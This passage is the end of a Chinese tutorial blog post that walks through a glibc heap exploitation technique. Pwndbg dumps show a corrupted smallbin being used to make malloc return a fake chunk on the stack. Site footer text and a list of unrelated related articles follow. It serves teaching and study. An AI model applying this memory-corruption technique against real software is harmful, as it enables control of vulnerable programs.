0x603040:       0x0000000000000000      0x0000000000000000
0x603050:       0x0000000000000000      0x0000000000000000
0x603060:       0x0000000000000000      0x0000000000000000
0x603070:       0x0000000000000070      0x00000000000003f1
0x603080:       0x0000000000000000      0x0000000000000000
0x603090:       0x0000000000000000      0x0000000000000000
0x6030a0:       0x0000000000000000      0x0000000000000000
0x6030b0:       0x0000000000000000      0x0000000000000000
0x6030c0:       0x0000000000000000      0x0000000000000000
0x6030d0:       0x0000000000000000      0x0000000000000000
0x6030e0:       0x0000000000000000      0x0000000000000000
0x6030f0:       0x0000000000000000      0x0000000000000000
0x603100:       0x0000000000000000      0x0000000000000000
0x603110:       0x0000000000000000      0x0000000000000000
0x603120:       0x0000000000000000      0x0000000000000000
0x603130:       0x0000000000000000      0x0000000000000000
pwndbg> p p4
$1 = 0x7fffffffe5a0 "\330\033\335\367\377\177"
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007ffff7dd1bd8      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00007ffff7dd1bd8      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0xda812b0bc8e82d00

pwndbg> p p4
$1 = 0x7fffffffe5a0 "\330\033\335\367\377\177"
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007ffff7dd1bd8      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00007ffff7dd1bd8      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0xda812b0bc8e82d00
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x7fffffffe570 —▸ 0x400b6d (__libc_csu_init+77) ◂— nop    

largebins
empty
pwndbg> 
 

再一次malloc将返回fake chunk 1的地址,地址在栈上且我们能够控制。​ 于是我们就成功地骗过了malloc在栈上分配了一个chunk。在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 0x7ffff7dd1bd8

最后再想一下,其实最初的victim chunk使用fast chunk也是可以的,其释放后虽然是被加入到 fast bins中,而不是unsorted bin,但malloc之后,也会被整理到small bins里。自行尝试吧。

 4.参考资料

【PWN】how2heap | 狼组安全团队公开知识库

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/255829.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux操作系统下安装消息中间件RabbitMQ_00000

下载 在官网下载Linux版RabbitMQ安装文件。 erlang-21.3-1.el7.x86_64.rpm rabbitmq-server-3.8.8-1.el7.noarch.rpm 安装 1、将文件上传至Linux系统中。 上传到/usr/local/software目录下&#xff08;如果没有software目录&#xff0c;则创建。&#xff09;。 2、安装文件&…

Linux下的socket操作

一、TCP服务端 创建一个TCP服务器的基本操作&#xff1a; 创建一个套接字&#xff08;socket&#xff09;&#xff1a;使用socket函数绑定套接字&#xff08;socket&#xff09;:将套接字绑定到一个特定的IP地址和端口号上&#xff0c;这些信息要用结构体sockaddr_in来保存监…

小游戏和GUI编程(3) | 基于 SFML 的字符阵

小游戏和GUI编程(3) | 基于 SFML 的字符阵 1. 简介 使用 EasyX 图形库时&#xff0c; 官方第一个例子是字符阵。 EasyX 不开源&#xff0c; 也不能跨平台&#xff0c; API 陈旧&#xff0c; API 是 C 而不是 C。 现在使用 SFML 来实现字符阵&#xff0c; 克服 EasyX 的这些问…

MySQL温故篇(一)SQL语句基础

一、SQL语句基础 数据库&#xff08;SQL&#xff09;思维导图_数据库设计思维导图-CSDN博客 1、SQL语言分类 DDL&#xff1a;数据定义语言 DCL&#xff1a;数据控制语言 DML&#xff1a;数据操作语言 DQL&#xff1a;数据的查询语言 2、数据类型 3、字符类型 char(11) &…

蓝桥杯Web应用开发-CSS3 新特性

CSS3 新特性 专栏持续更新中 在前面我们已经学习了元素选择器、id 选择器和类选择器&#xff0c;我们可以通过标签名、id 名、类名给指定元素设置样式。 现在我们继续选择器之旅&#xff0c;学习 CSS3 中新增的三类选择器&#xff0c;分别是&#xff1a; • 属性选择器 • 子…

《CSS 简易速速上手小册》第8章:CSS 性能优化和可访问性(2024 最新版)

文章目录 8.1 CSS 文件的组织和管理8.1.1 基础知识8.1.2 重点案例&#xff1a;项目样式表结构8.1.3 拓展案例 1&#xff1a;使用BEM命名规范8.1.4 拓展案例 2&#xff1a;利用 Sass 混入创建响应式工具类 8.2 提高网页加载速度的技巧8.2.1 基础知识8.2.2 重点案例&#xff1a;图…

C#,泰波拿契数(Tribonacci Number)的算法与源代码

1 泰波拿契数&#xff08;Tribonacci Number&#xff09; 泰波拿契数&#xff08;Tribonacci Number&#xff09;是斐波那契的拓展。 泰波拿契数 (Tribonacci Number) 即把费波拿契数 (Fibonacci Number) 的概念推广至三个数。 2 计算结果 3 源程序 using System; namespace…

Java安全 CC链1分析(Lazymap类)

Java安全 CC链1分析 前言CC链分析CC链1核心LazyMap类AnnotationInvocationHandler类 完整exp&#xff1a; 前言 在看这篇文章前&#xff0c;可以看下我的上一篇文章&#xff0c;了解下cc链1的核心与环境配置 Java安全 CC链1分析 前面我们已经讲过了CC链1的核心ChainedTransf…

[C/C++] -- Boost库、Muduo库编译安装使用

1.Muduo库 Muduo 是一个基于 C11 的高性能网络库&#xff0c;其核心是事件驱动、非阻塞 I/O、线程池等技术&#xff0c;以实现高并发、高性能的网络通信。Muduo 库主要由陈硕先生开发维护&#xff0c;已经成为 C 服务器程序员的常用工具之一。 Muduo 库的主要特点&#xff1a…

M1 Mac使用SquareLine-Studio进行LVGL开发

背景 使用Gui-Guider开发遇到一些问题&#xff0c;比如组件不全。使用LVGL官方的设计软件开发 延续上一篇使用的基本环境。 LVGL项目 新建项目 选择Arduino的项目&#xff0c;设定好分辨率及颜色。 设计UI 导出代码 Export -> Create Template Project 导出文件如图…

使用client-only 解决组件不兼容SSR问题

目录 前言 一、解决方案 1.基于Nuxt 框架的SSR应用 2.基于vue2框架的应用 3.基于vue3框架的应用 二、总结 往期回顾 前言 最近在我的单页面SSR应用上开发JSON编辑器功能&#xff0c;在引入组件后直接客户端跳转OK&#xff0c;但是在直接加载服务端渲染的时候一直报这…

【数据分析】Excel中的常用函数公式总结

目录 0 引用方式0.1 相对引用0.2 绝对引用0.3 混合引用0.4 3D引用0.5 命名引用 1 基础函数1.1 加法、减法、乘法和除法1.2 平均数1.3 求和1.4 最大值和最小值 2 文本函数2.1 合并单元格内容2.2 查找2.3 替换 3 逻辑函数3.1 IF函数3.2 AND和OR函数3.3 IFERROR函数 4 统计函数4.1…

Visual Studio使用Git忽略不想上传到远程仓库的文件

前言 作为一个.NET开发者而言&#xff0c;有着宇宙最强IDE&#xff1a;Visual Studio加持&#xff0c;让我们的开发效率得到了更好的提升。我们不需要担心环境变量的配置和其他代码管理工具&#xff0c;因为Visual Studio有着众多的拓展工具。废话不多说&#xff0c;直接进入正…

吉他学习:右手拨弦方法,右手拨弦训练 左手按弦方法

第六课 右手拨弦方法https://m.lizhiweike.com/lecture2/29362775 第七课 右手拨弦训练https://m.lizhiweike.com/lecture2/29362708

阿里云服务器“带宽计费模式”怎么选?有啥区别?

阿里云服务器带宽计费模式分为“按固定带宽”和“按使用流量”&#xff0c;有什么区别&#xff1f;按固定带宽是指直接购买多少M带宽&#xff0c;比如1M、5M、10M、100M等&#xff0c;阿里云直接分配用户所购买的带宽值&#xff0c;根据带宽大小先付费再使用&#xff1b;按使用…

qt-C++笔记之判断一个QLabel上有没有load图片

qt-C笔记之判断一个QLabel上有没有load图片 code review! 在Qt框架中&#xff0c;QLabel是用来显示文本或者图片的一个控件。如果你想判断一个QLabel控件上是否加载了图片&#xff0c;你可以检查它的pixmap属性。pixmap属性会返回一个QPixmap对象&#xff0c;如果没有图片被加…

【C语言初阶-结构体】关于结构体的声明定义、结构体传参详解

目录 1. 结构体的声明 1.1 结构的基础知识 1.2 结构的声明 1.3 结构成员的类型 1.4 结构体变量的定义和初始化 2. 结构体成员的访问 2.1(.)操作符 2.2&#xff08;->&#xff09;操作符 3.结构体传参 1. 结构体的声明 1.1 结构的基础知识 结构体是一些值的集合&…

S32 Design Studio的PE工具

S32 Design Studio软件是NXP公司专门为了方便用户开发S32K1系列芯片的IDE&#xff0c;跟Eclipse比较像。里面有个配套的图形工具Processor Expert&#xff0c;会产生一个后缀名为pe的文件&#xff0c;跟ST的cubemx作用类似。 双击pe文件即可打开pe界面&#xff0c;生成的文件将…

拓展边界:前端世界的跨域挑战

目录 什么是跨域 概念 同源策略及限制内容 常见跨域场景 如何解决跨域 CORS Nginx代理跨域 Node中间件代理跨域 WebSocket postMessage JSONP 其他 什么是跨域 概念 在此之前&#xff0c;我们了解一下一个域名地址的组成&#xff1a; 跨域指的是在网络安全中&…

2.6日学习打卡----初学RabbitMQ(一)

2.6日学习打卡 初识RabbitMQ、 一. MQ 消息队列 MQ全称Message Queue&#xff08;消息队列&#xff09;&#xff0c;是在消息的传输过程中保 存消息的容器。多用于系统之间的异步通信。 同步通信相当于两个人当面对话&#xff0c;你一言我一语。必须及时回复 异步通信相当于通…